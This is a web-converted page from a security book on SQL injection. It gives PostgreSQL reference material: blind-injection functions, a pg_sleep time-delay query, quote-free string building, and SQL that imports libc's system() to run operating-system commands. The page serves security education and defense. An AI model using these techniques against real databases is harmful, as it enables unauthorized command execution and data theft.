28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

448 Chapter 10 • References<br />

Blind <strong>SQL</strong> <strong>Injection</strong> Functions: Postgre<strong>SQL</strong><br />

Table 10.23 lists functions that are useful when performing blind <strong>SQL</strong> injection attacks.<br />

Table 10.23 Blind <strong>SQL</strong> <strong>Injection</strong> Functions<br />

Data<br />

String length<br />

Extract substring from a given string<br />

String (‘ABC’) representation with<br />

no single quotes<br />

Trigger time delay<br />

Query<br />

LENGTH()<br />

SUBSTRING(string,offset,length)<br />

SELECT CHR(65)||CHR(66)||CHR(67);<br />

SELECT pg_sleep(10);<br />

-- Triggers a 10 second pause on<br />

version 8.2 <strong>and</strong> above<br />

Attacking the Database Server: Postgre<strong>SQL</strong><br />

Postgre<strong>SQL</strong> does not offer a built-in procedure for executing operating system comm<strong>and</strong>s.<br />

However, it is possible to import functions such as system() from an external .dll or Shared<br />

Object (.so) file. It is also possible to read local files via Postgre<strong>SQL</strong> using the COPY<br />

statement.<br />

System Comm<strong>and</strong> Execution<br />

For Postgre<strong>SQL</strong> database servers prior to Version 8.2, you can use the following <strong>SQL</strong> to<br />

import the system function from the st<strong>and</strong>ard UNIX libc library:<br />

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6',<br />

'system' LANGUAGE 'C' STRICT;<br />

The system function can then be called by executing the following <strong>SQL</strong> query:<br />

SELECT system('comm<strong>and</strong>');<br />

Current versions of Postgres require that external libraries be compiled with the<br />

Postgre<strong>SQL</strong> PG_MODULE_MAGIC macro defined. To achieve code execution via this<br />

method you will need to upload your own shared .so or .dll file with the appropriate<br />

PG_MODULE_MAGIC macro enabled. See the following resource for further<br />

information:<br />

■■<br />

www.postgresql.org/docs/8.2/static/xfunc-c.html#XFUNC-C-DYNLOAD

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!